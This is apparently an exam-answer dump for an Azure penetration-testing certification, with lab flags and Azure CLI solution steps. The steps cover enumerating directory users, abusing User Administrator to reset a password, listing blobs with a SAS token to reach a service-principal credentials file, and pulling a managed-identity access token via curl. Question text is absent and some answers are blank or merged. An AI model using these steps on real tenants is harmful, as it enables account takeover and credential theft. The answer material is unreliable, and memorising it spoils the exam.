CCPenX-Az Exam Questions & Answers

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query '[].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle}' \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT='excaliburstore'

SAS='<recovered-sas-token>'

List containers:

az storage container list \

--account-name '$ACCOUNT' \

--sas-token '$SAS' \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name '$ACCOUNT' \

--container-name sensitive-files \

--sas-token '$SAS' \

--output table

Final Answer:

C . sensitive-files

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT='prodreportstore01'

CONTAINER='sensitive-exports'

SAS='?sv=2025-01-05&ss=b&srt=sco&sp=rl&se=2026-08-01T00:00:00Z&sig=<signature>'

List blobs:

az storage blob list \

--account-name '$ACCOUNT' \

--container-name '$CONTAINER' \

--sas-token '$SAS' \

--query '[].name' \

--output table

Expected output:

Name

----------------------------

monthly-report.csv

service-principal-creds.json

readme.txt

The credential file is:

service-principal-creds.json

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/' \ -H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'

The response contains:

{ 'access_token': '<jwt-token>', 'resource': 'https://management.azure.com/', 'token_type': 'Bearer' }

Correct option:

Detailed Solution:

List NSG rules:

az network nsg rule list \ --resource-group rg-prod-apps-eastus \ --nsg-name nsg-prod-linux01 \ --output table

Expected risky rule:

Name Priority Direction Access Protocol Source DestinationPortRange ------------ -------- --------- ------ -------- ------------ -------------------- Allow-SSH 100 Inbound Allow Tcp Internet 22

SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.

Correct answer: